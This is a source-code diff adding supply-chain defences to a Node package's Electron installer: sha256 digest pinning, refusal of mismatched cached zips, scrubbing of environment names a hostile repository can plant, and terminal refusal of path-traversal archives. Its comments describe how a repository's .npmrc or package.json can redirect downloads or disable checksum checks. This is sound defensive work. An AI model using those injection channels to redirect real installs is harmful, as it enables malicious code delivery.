+ * key at all rather than an empty one. With no anchor, @electron/get falls back
+ * to its own remote SHASUMS256.txt fetch: weaker, but never a re-download loop.
+ *
+ * THE HATCH REACHES THIS ROUTE TOO. `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` used to
+ * be handed only to the cached-artifact gate, so the one case both docs describe
+ * — a machine whose electron bytes legitimately differ (a local rebuild, an
+ * internally-signed build on a corporate mirror) — still had its download pinned
+ * to the official digest and failed. MEASURED before this change: with the hatch
+ * set and nothing in any cache root, `checksums` was still sent and the call
+ * returned `{repaired:false}` with no reason at all. When the hatch is set the
+ * pin is dropped here and @electron/get falls back to the mirror's own
+ * SHASUMS256.txt, which is what a rebuild publishes. That is a real downgrade,
+ * so it is stated out loud on stderr every time rather than happening quietly —
+ * and it is reachable ONLY through a bare env name a repository cannot plant.
+ * @returns {Promise<void>}
+ */
+async function controlledProvision({
+  electronDir, platform, arch, version, anchor, downloadArtifact, extract, extractFromCache,
+  fs, env = process.env, downloadMs = 480000, policy = {}, log = () => {},
+}) {
+  const fileName = artifactFileName({ version, platform, arch });
+  let digest = expectedDigest(anchor, fileName);
+  if (digest && policy.allowUnverified) {
+    log('[amicus] WARNING: AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 — downloading without the published');
+    log(`[amicus]   sha256 pin for ${fileName}; its digest comes from the mirror you are using.`);
+    digest = null;
+  }
+  const zip = await downloadArtifact({
+    version,
+    artifactName: 'electron',
+    force: true,
+    cacheRoot: cacheRootFor(env),
+    platform,
+    arch,
+    ...(digest ? { checksums: { [fileName]: digest } } : {}),
+    downloadOptions: { signal: AbortSignal.timeout(downloadMs) }, // 5.x native fetch: bound stalled downloads, free the lock
+  });
+  await extractFromCache({ zip, electronDir, platform, extract, fs });
+}
+
+/**
+ * May this refused artifact be deleted? STRICTLY NARROWER than the unconditional
+ * `fs.rmSync` on the corrupt-extract path: the basename must be exactly the
+ * artifact we asked for, AND the file must resolve inside a resolved cache root.
+ * `containsOnDisk` realpaths both sides and returns false on any error, so an
+ * unresolvable path is refused rather than trusted — deleting at an
+ * attacker-influenceable path is the one thing a poisoned cache could otherwise
+ * turn into a weapon.
+ *
+ * Cost if it returns a wrong false: the mismatched zip stays and is re-downloaded
+ * once per provision. An availability cost, never a safety one — the gate above
+ * still refuses to extract it.
+ */
+function mayDeleteRejectedZip({ zip, fileName, env = process.env }) {
+  if (path.basename(zip) !== fileName) { return false; }
+  return resolveCacheRoots(env).some((root) => containsOnDisk(root, zip));
+}
+
+/**
+ * Act on a REFUSED cached artifact: remove the poison when it is safe to, say
+ * plainly what happened, and hand back the result shape a cacheOnly caller
+ * returns. Deletion happens ONLY on `mismatch` — a `no-digest` artifact is not
+ * evidence of anything, and an `unreadable` one is a file we could not even hash.
+ * @returns {{repaired:false, integrity:string, reason:string}}
+ */
+function rejectCachedZip({ gate, zip, fileName, env = process.env, fs, log = () => {} }) {
+  let removed = false;
+  if (gate.verdict === 'mismatch' && mayDeleteRejectedZip({ zip, fileName, env })) {
+    try {
+      fs.rmSync(zip, { force: true });
+      removed = true;
+    } catch { /* a cache we cannot write is not a reason to fail the repair */ }
+  }
+  const what = gate.verdict === 'mismatch'
+    ? `sha256 ${gate.actual} does not match the published ${gate.expected}`
+    : gate.reason;
+  log(`[amicus] Electron artifact REFUSED: ${fileName}`);
+  log(`[amicus]   ${zip}`);
+  log(`[amicus]   ${what}`);
+  log('[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO');
+  log('[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT');
+  log('[amicus] electron looks like — amicus cannot tell them apart.');
+  // ORDER MATTERS. The advice comes BEFORE the removal notice, and says what to
+  // do about a file that is already gone: a hand-seeded air-gapped cache is the
+  // one place the refused artifact was also the ONLY copy, and being told about
+  // the hatch after "The file has been removed." is being told too late to use
+  // it. The delete itself is required (a poisoned zip must not survive to be
+  // re-offered); the words around it are what make it recoverable.
+  log('[amicus] If you deliberately run a REBUILT electron, set');
+  log('[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — it accepts these');
+  log('[amicus] bytes on the cache path and drops the digest pin on the download path.');
+  log(`[amicus]   ${removed
+    ? 'The file has been removed: re-copy it from the machine that downloaded it (or let'
+      + '\n[amicus]   amicus download it again) once that variable is set.'
+    : 'The file was left in place.'}`);
+  log('[amicus] Headless runs and the council work without the GUI.');
+  return {
+    repaired: false,
+    integrity: gate.verdict,
+    reason: `Cached electron artifact ${fileName} was REFUSED: ${what}.`
+      + `${removed ? ' It has been removed.' : ' It was left in place.'}`,
+  };
+}
+
+/** The terminal path-traversal refusal `robustExtract` throws (unzip.js C4). */
+function isUnsafeArchive(err) {
+  return !!err && err.code === 'UNZIP_UNSAFE_ARCHIVE';
+}
+
+/**
+ * C4 AT THE CALL SITE. unzip.js classifies extract-zip's path-traversal refusals
+ * as terminal so the same archive is never handed to an OS extractor that has no
+ * such check. That invariant held only INSIDE unzip.js: both of repairElectron's
+ * catch blocks used to swallow the refusal without reading `err.code` and launder
+ * it back into exactly the retry the control forbids — the network path spawned
+ * `node <electronDir>/install.js`, which re-downloads and re-extracts through
+ * @electron-internal/extract-zip with no amicus supervision (the forbidden move,
+ * one stack frame up), and the cache path deleted the zip through the UNFENCED
+ * `fs.rmSync` and told the user it "was corrupt and removed" — a security refusal
+ * reported as corruption. MEASURED both, before this change.
+ *
+ * So the refusal ends here: no retry, no fallback extractor, and no delete. The
+ * archive is left where it is, because a refused archive is evidence, and
+ * `err.message` already carries the path and extract-zip's own reason.
+ * @returns {{repaired:false, integrity:'unsafe-archive', reason:string}}
+ */
+function refuseUnsafeArchive({ err, fileName, log = () => {} }) {
+  const detail = (err && err.message) || 'the archive tried to write outside its destination';
+  log(`[amicus] Electron artifact REFUSED (unsafe archive): ${fileName}`);
+  log(`[amicus]   ${detail}`);
+  log('[amicus] Entries in that zip tried to write OUTSIDE the destination directory. amicus');
+  log('[amicus] will not retry it with another extractor, and has left the file in place.');
+  log('[amicus] Headless runs and the council work without the GUI.');
+  return {
+    repaired: false,
+    integrity: 'unsafe-archive',
+    reason: `Electron artifact ${fileName} was REFUSED: ${detail}. It was NOT retried and NOT removed.`,
+  };
+}
+
+module.exports = {
+  cacheRootFor, controlledProvision, mayDeleteRejectedZip, rejectCachedZip, isUnsafeArchive, refuseUnsafeArchive,
+};

package/src/sidecar/electron-trust.js

@@ -0,0 +1,299 @@
+/**
+ * Electron artifact TRUST core — the digest anchor, the gate, and the env scrub.
+ *
+ * A hostile REPOSITORY (a clone the user opens, an unpacked sample) controls the
+ * `.npmrc` and `package.json` of the directory amicus's own docs tell people to
+ * run `npx -y amicus@latest` in. MEASURED (npm 11.16.0): that reaches the child
+ * as exactly two name shapes — `npm_config_<key lowercased>` and
+ * `npm_package_config_<key case-preserved>` — and NOTHING else. Bare `ELECTRON_*`
+ * and `AMICUS_*` names are out of its reach. THAT is the trust boundary this
+ * module encodes: the escape hatch can be a plain environment variable, and a
+ * machine-level `ELECTRON_MIRROR` can still be honoured, precisely because a
+ * repository cannot write either one.
+ *
+ * The control is the DIGEST, not the URL. Supplying `checksums` to
+ * `downloadArtifact` makes `@electron/get` write a LOCAL `SHASUMS256.txt` and
+ * never fetch one from the mirror (@electron/get 5.0.0, dist/index.js, lines
+ * 28-40), so an attacker who redirects the download still has to produce bytes that match
+ * electron's own published sha256. Blocking the URL itself is defence in depth on
+ * top of a control that already works, and is deliberately NOT built here.
+ *
+ * LEAF MODULE: `crypto` + `path` + `fs` and nothing from this repo. The arrow is
+ * electron-install -> electron-provision -> electron-trust and must never point
+ * back; src/utils/path-fence.js:11-17 records what a cycle does to a destructured
+ * import in exactly this cluster.
+ *
+ * @module sidecar/electron-trust
+ */
+
+'use strict';
+
+const crypto = require('crypto');
+const fsDefault = require('fs');
+const path = require('path');
+
+/**
+ * Env-name PREFIXES an untrusted REPOSITORY can plant. MEASURED, npm 11: a repo
+ * .npmrc key `k` reaches an `npm run` / `npm exec` child as
+ * `npm_config_<k lowercased>`; a repo package.json "config" key `k` reaches it as
+ * `npm_package_config_<k>` with case preserved. Nothing else.
+ *
+ * PREFIXES, not a hand-maintained name list. Two prefixes cover every
+ * `@electron/get` mirror knob in each repo-reachable spelling, plus electron's
+ * own `npm_config_electron_use_remote_checksums` (electron's install.js, lines
+ * 47-50 — that name turns electron's bundled pin OFF), plus any knob a future
+ * @electron/get adds in the same namespace. Contrast ENGINE_CREDENTIAL_ENV
+ * (scripts/run-integration-keyless.js:101), whose own docblock warns that nothing
+ * makes a name list follow an upstream bump.
+ *
+ * The BARE `electron_use_remote_checksums` is deliberately NOT removed: a bare
+ * lower-case name is not repo-injectable, so it carries the machine owner's
+ * intent, exactly like a bare `ELECTRON_MIRROR`.
+ *
+ * MATCHED CASE-INSENSITIVELY. This used to fold no case, on the claim that
+ * because the Windows environment block is case-insensitive, deleting the
+ * lower-case name also removed the `NPM_CONFIG_ELECTRON_*` view @electron/get
+ * reads second. That is true of `process.env` and FALSE of the `{...env}` PLAIN
+ * OBJECT this module actually deletes from — a plain object is case-sensitive on
+ * every platform, so the upper-case key survived and was handed to the child.
+ * RE-MEASURED (npm 11.16.0, Windows 11) — two ways a repository reaches an
+ * upper-case slot:
+ *   1. `.npmrc` `electron_mirror=…` while `NPM_CONFIG_ELECTRON_MIRROR` already
+ *      exists in the environment: npm overwrites that slot's VALUE and never
+ *      renames it, so the child sees the ATTACKER's URL under the upper-case name.
+ *   2. `package.json` `"config": {"ELECTRON_MIRROR": …}`: npm PRESERVES the key's
+ *      case, planting `npm_package_config_ELECTRON_MIRROR` with nothing
+ *      pre-existing at all — and @electron/get's own lookup for
+ *      `npm_package_config_electron_mirror` (dist/artifact-utils.js, line 28) finds it,
+ *      because the Windows lookup is case-insensitive too.
+ * The old docblock's POSIX half (`NPM_CONFIG_ELECTRON_*` is a distinct variable
+ * npm never writes there, so it is the machine owner's) is NOT measurable from
+ * this machine, and it is load-bearing in the fail-OPEN direction: wrong, it
+ * hands the child an attacker's mirror. Wrong the other way it costs one
+ * alternate spelling inside a last-resort spawn, while bare `ELECTRON_MIRROR`
+ * — which @electron/get ranks FIRST — still carries owner intent. So the fold is
+ * unconditional rather than resting on an unverified platform claim.
+ */
+const REPO_ENV_PREFIXES = ['npm_config_electron_', 'npm_package_config_electron_'];
+
+/** electron's install.js, lines 20-21 and 99 — these choose WHICH artifact it
+ *  fetches, and `.npmrc` `platform=`/`arch=` plants both. Same case fold. */
+const ELECTRON_INSTALL_TARGET_ENV = ['npm_config_platform', 'npm_config_arch'];
+
+/** A published sha256 is 64 LOWER-case hex characters. Anything else is not an anchor. */
+const HEX64 = /^[0-9a-f]{64}$/;
+
+/** Leading 'v' applied exactly once — matches @electron/get's normalizeVersion. */
+function normalizeV(version) {
+  const v = String(version || '');
+  return v.startsWith('v') ? v : `v${v}`;
+}
+
+/** True for a name a hostile repository could have planted, in ANY case (see above). */
+function isRepoPlantedName(name) {
+  const lower = String(name).toLowerCase();
+  return REPO_ENV_PREFIXES.some((prefix) => lower.startsWith(prefix))
+    || ELECTRON_INSTALL_TARGET_ENV.includes(lower);
+}
+
+/**
+ * The amicus-namespaced trust policy. THE ONLY place the escape hatch is read.
+ * Never reads npm_config_* / npm_package_config_* / NPM_CONFIG_* — those are the
+ * attacker's channel, and a rule that read its own writer's surface would be no
+ * rule at all.
+ *
+ * `allowUnverified` is true for the string '1' and NOTHING else — 'true', 'yes',
+ * ' 1' are all false. A hatch that fails open on a typo is not a hatch.
+ * @param {NodeJS.ProcessEnv} [env]
+ * @returns {{ allowUnverified: boolean }}
+ */
+function electronTrustPolicy(env = process.env) {
+  return { allowUnverified: env.AMICUS_ALLOW_UNVERIFIED_ELECTRON === '1' };
+}
+
+/** `electron-v43.1.1-win32-x64.zip`. Matches BOTH electron's checksums.json keys
+ *  and @electron/get's getArtifactFileName + normalizeVersion. */
+function artifactFileName({ version, platform, arch }) {
+  return `electron-${normalizeV(version)}-${platform}-${arch}.zip`;
+}
+
+/**
+ * The electron package THIS amicus resolves — resolveAnchor rung 1. Duplicated
+ * (not imported from electron-install.defaultElectronDir) so this module stays a
+ * leaf and the require arrow keeps pointing one way.
+ * @returns {string|null}
+ */
+function selfElectronPackageDir() {
+  try {
+    return path.dirname(require.resolve('electron/package.json'));
+  } catch {
+    return null;
+  }
+}
+
+/** Parse one checksums.json into a table of ONLY well-formed rows. Never throws. */
+function readChecksumTable(file, fs) {
+  try {
+    const parsed = JSON.parse(fs.readFileSync(file, 'utf-8'));
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { return null; }
+    const table = {};
+    for (const [name, digest] of Object.entries(parsed)) {
+      if (typeof digest === 'string' && HEX64.test(digest)) { table[name] = digest; }
+    }
+    return Object.keys(table).length > 0 ? table : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Resolve the digest ANCHOR, offline. Precedence, highest first:
+ *   1. <selfElectronDir>/checksums.json — the RUNNING amicus's own table.
+ *   2. <electronDir>/checksums.json — ONLY when rung 1 offers no usable table.
+ *
+ * RUNG 1 IS LOAD-BEARING, not a convenience. `doctor --fix`
+ * (src/utils/doctor-electron-mcp-check.js:122-137) hands `repairElectron` an
+ * electronDir found by a FILESYSTEM SCAN of npx caches, so rung 2 on its own
+ * would read the anchor out of the same untrusted directory the bytes came from
+ * — the pin would vouch for the attacker's own zip. Rung 1 is the same published
+ * data out of a tree npm installed for amicus itself, before any hostile
+ * directory was visited.
+ *
+ * WHY RUNG 1 NO LONGER TESTS THE VERSION. It used to apply only when the self
+ * package's version equalled the requested one — but the requested `version` is
+ * itself read out of `<electronDir>/package.json` whenever the caller supplies
+ * none (electron-install.js `if (!version)`), and the ONE production caller,
+ * doctor --fix, supplies none. MEASURED on this tree: a planted
+ * `{"version":"99.0.0"}` demoted rung 1 by DATA alone, the scanned tree's own
+ * checksums.json then vouched for its own bytes, and repairElectron returned
+ * `{repaired:true}` after extracting POISONED-BYTES. A rule that reads its own
+ * selector off the surface it exists to distrust is not a rule. No version check
+ * is needed to keep a genuine version disagreement honest, because the table is
+ * keyed by the FULL artifact filename: a self table for 43.1.1 simply holds no
+ * `electron-v99.0.0-…zip` row, `expectedDigest` returns null, and the gate's
+ * `no-digest` verdict extracts-and-MARKS exactly as the brief requires — never a
+ * refusal, never a re-download loop.
+ *
+ * Rung 2 therefore survives for exactly one case: amicus's own electron package
+ * ships no readable checksums.json (an old electron, or the optionalDependency
+ * never installed). There the target's table is all there is, and it is still
+ * better than nothing against a truncated download.
+ *
+ * Pass `selfElectronDir: null` to disable rung 1.
+ * NEVER THROWS. Rejects a table whose values are not 64 lower-case hex.
+ * @returns {{ table: Record<string,string>, source: string } | null}
+ */
+function resolveAnchor({ electronDir, fs = fsDefault, selfElectronDir } = {}) {
+  const self = selfElectronDir === undefined ? selfElectronPackageDir() : selfElectronDir;
+  for (const dir of [self, electronDir]) {
+    if (!dir) { continue; }
+    const source = path.join(dir, 'checksums.json');
+    const table = readChecksumTable(source, fs);
+    if (table) { return { table, source }; }
+  }
+  return null;
+}
+
+/** @returns {string|null} the 64-hex digest for one artifact, or null. */
+function expectedDigest(anchor, fileName) {
+  if (!anchor || !anchor.table) { return null; }
+  const digest = anchor.table[fileName];
+  return typeof digest === 'string' && HEX64.test(digest) ? digest : null;
+}
+
+/** Chunked sha256 (1 MiB buffer, openSync/readSync). SYNC so it composes with
+ *  repairElectron's injected `fs`; chunked so a ~170 MB zip is never buffered whole. */
+function sha256File(file, fs = fsDefault) {
+  const hash = crypto.createHash('sha256');
+  const buffer = Buffer.alloc(1024 * 1024);
+  const fd = fs.openSync(file, 'r');
+  try {
+    let read = fs.readSync(fd, buffer, 0, buffer.length, null);
+    while (read > 0) {
+      hash.update(buffer.subarray(0, read));
+      read = fs.readSync(fd, buffer, 0, buffer.length, null);
+    }
+  } finally {
+    try { fs.closeSync(fd); } catch { /* already closed */ }
+  }
+  return hash.digest('hex');
+}
+
+/**
+ * THE GATE. NEVER THROWS. `allowed` is the single decision bit callers act on.
+ *
+ * @returns {{verdict:'verified',   allowed:true,  actual:string}
+ *         | {verdict:'mismatch',   allowed:boolean, expected:string, actual:string}
+ *         | {verdict:'no-digest',  allowed:true}
+ *         | {verdict:'unreadable', allowed:false, reason:string}}
+ *
+ * `no-digest` is ALLOWED and merely marked. An electron package that predates
+ * `checksums.json` has no anchor through no fault of its own, and refusing it
+ * would push that machine into a permanent re-download loop for a file no
+ * download can improve.
+ *
+ * `unreadable` is refused whatever the policy says: bytes that cannot be hashed
+ * cannot be extracted either, so there is nothing to fail open to.
+ */
+function verifyArtifact({ zip, anchor, fileName, policy = {}, fs = fsDefault, log = () => {} }) {
+  const expected = expectedDigest(anchor, fileName);
+  if (!expected) {
+    log(`[amicus] NOTE: no published sha256 for ${fileName} (this electron package ships no`);
+    log('[amicus]   checksums.json entry for it), so its bytes could not be verified.');
+    return { verdict: 'no-digest', allowed: true };
+  }
+  let actual;
+  try {
+    actual = sha256File(zip, fs);
+  } catch (e) {
+    return { verdict: 'unreadable', allowed: false, reason: `could not hash ${fileName}: ${(e && e.message) || e}` };
+  }
+  if (actual === expected) { return { verdict: 'verified', allowed: true, actual }; }
+  if (policy.allowUnverified) {
+    log(`[amicus] WARNING: AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 — accepting ${fileName} even though`);
+    log(`[amicus]   its sha256 ${actual} does not match the published ${expected}.`);
+    log('[amicus]   Unset that variable to fail closed.');
+    return { verdict: 'mismatch', allowed: true, expected, actual };
+  }
+  return { verdict: 'mismatch', allowed: false, expected, actual };
+}
+
+/**
+ * A COPY of env for the runInstaller SPAWN. Never mutates the argument.
+ *
+ * electron's own install.js honours `npm_config_electron_mirror` (through
+ * @electron/get) AND `npm_config_electron_use_remote_checksums` (its lines 47-50,
+ * which turns its bundled pin off), so spawning it with an unfiltered
+ * `{...process.env}` would funnel a blocked attacker straight into an unpinned
+ * downloader. `npm_config_platform` / `npm_config_arch` (its lines 20-21 and 99)
+ * choose WHICH artifact it fetches, so they are removed too and amicus's own
+ * resolution is pinned through `ELECTRON_INSTALL_PLATFORM`/`_ARCH`, which
+ * install.js ranks above them.
+ *
+ * LEAVES ALONE, deliberately — every one of these is a BARE name a repository
+ * cannot plant, so it is the machine owner's: `ELECTRON_MIRROR`,
+ * `ELECTRON_CUSTOM_*`, `electron_config_cache`, `ELECTRON_CACHE`,
+ * `electron_use_remote_checksums`, `HTTP_PROXY`/`HTTPS_PROXY`/`ELECTRON_GET_USE_PROXY`.
+ */
+function scrubbedChildEnv({ env = process.env, platform, arch } = {}) {
+  const out = { ...env };
+  for (const name of Object.keys(out)) {
+    if (isRepoPlantedName(name)) { delete out[name]; }
+  }
+  if (platform) { out.ELECTRON_INSTALL_PLATFORM = platform; }
+  if (arch) { out.ELECTRON_INSTALL_ARCH = arch; }
+  return out;
+}
+
+module.exports = {
+  electronTrustPolicy,
+  resolveAnchor,
+  expectedDigest,
+  verifyArtifact,
+  sha256File,
+  artifactFileName,
+  scrubbedChildEnv,
+  normalizeV,
+  REPO_ENV_PREFIXES,
+  ELECTRON_INSTALL_TARGET_ENV,
+};

package/src/sidecar/unzip.js

@@ -17,6 +17,8 @@
  *      the exact electron zip the field box choked on.
  *   3. Only report success when files actually landed on disk. The electron
  *      exe-stat verify stays upstream (electron-quarantine.verifyExtractOutcome).
+ * Layer 2 has ONE exception: a path-traversal REFUSAL is terminal and is never
+ * retried natively (UNSAFE_PATTERNS below).
  *
  * Everything network/spawn/timer-facing is dependency-INJECTABLE so tests never
  * hit the real clock, spawn a real process, or extract a real binary.
@@ -28,6 +30,32 @@ const path = require('path');
 const fsDefault = require('fs');
 const { spawnSync } = require('child_process');
 
+/**
+ * A SECURITY REFUSAL IS A REFUSAL, NOT A RETRY (M9).
+ *
+ * Strategy 1 used to collapse a stall, a plain throw, and extract-zip's / yauzl's
+ * own path-traversal refusals into ONE branch that cleans the directory and re-runs
+ * the IDENTICAL archive through OS extractors amicus does not control — laundering
+ * a "this archive tried to escape its directory" into an unsupervised retry.
+ *
+ * These four strings are verified against the installed versions:
+ *   extract-zip@2.0.1 raises `Out of bound path "<dir>" found while processing file <n>`
+ *   yauzl@2.10.0 validateFileName returns the other three, raised as new Error(msg).
+ * NOTE: with strictFileNames unset (extract-zip's default) yauzl rewrites
+ * backslashes before validating, so `invalid characters in fileName: ` is not
+ * reachable through extract-zip today. Classified anyway — it costs one line and
+ * yauzl's defaults can change.
+ *
+ * DELIBERATELY NARROW. A stall must still fall back, or the Node-24 workaround
+ * this whole module exists for is destroyed.
+ */
+const UNSAFE_PATTERNS = [
+  /^Out of bound path /,
+  /^absolute path: /,
+  /^invalid relative path: /,
+  /^invalid characters in fileName: /,
+];
+
 // No-progress window: if extract-zip reports no new entry for this long AND has
 // not settled, treat it as the silent stall. Reset on every onEntry so a slow-
 // but-progressing extract is never falsely aborted.
@@ -162,6 +190,8 @@ function runExtractZipBounded({ zip, dir, onEntry, extractZip, idleMs, maxMs, se
  * @param {object}   [opts.deps] injected { fs, extractZip, spawn, setTimeout, clearTimeout, log }
  * @returns {Promise<{strategy:string, fallback?:boolean, extractZipReason?:string}>}
  * @throws {Error} code 'UNZIP_ALL_FAILED' when no strategy produced files.
+ * @throws {Error} code 'UNZIP_UNSAFE_ARCHIVE' when the archive was REFUSED for a
+ *   path-traversal attempt — terminal, with no native retry (see UNSAFE_PATTERNS).
  */
 async function robustExtract(zip, opts = {}) {
   const {
@@ -202,6 +232,16 @@ async function robustExtract(zip, opts = {}) {
     return { strategy: 'extract-zip' };
   }
 
+  // TERMINAL: the archive was REFUSED for trying to write outside `dir`. Never
+  // cleanDir (the partial output is evidence), never fall back — handing the same
+  // archive to tar/Expand-Archive would ask a tool with no such check to do what
+  // extract-zip just declined to.
+  if (!z.ok && UNSAFE_PATTERNS.some((p) => p.test(z.reason || ''))) {
+    const err = new Error(`refusing to extract ${zip}: ${z.reason}`);
+    err.code = 'UNZIP_UNSAFE_ARCHIVE';
+    throw err;
+  }
+
   // extract-zip stalled / threw / produced nothing → clean partial output, go native.
   const zipReason = z.ok ? 'extract-zip produced no files' : z.reason;
   cleanDir(fs, dir);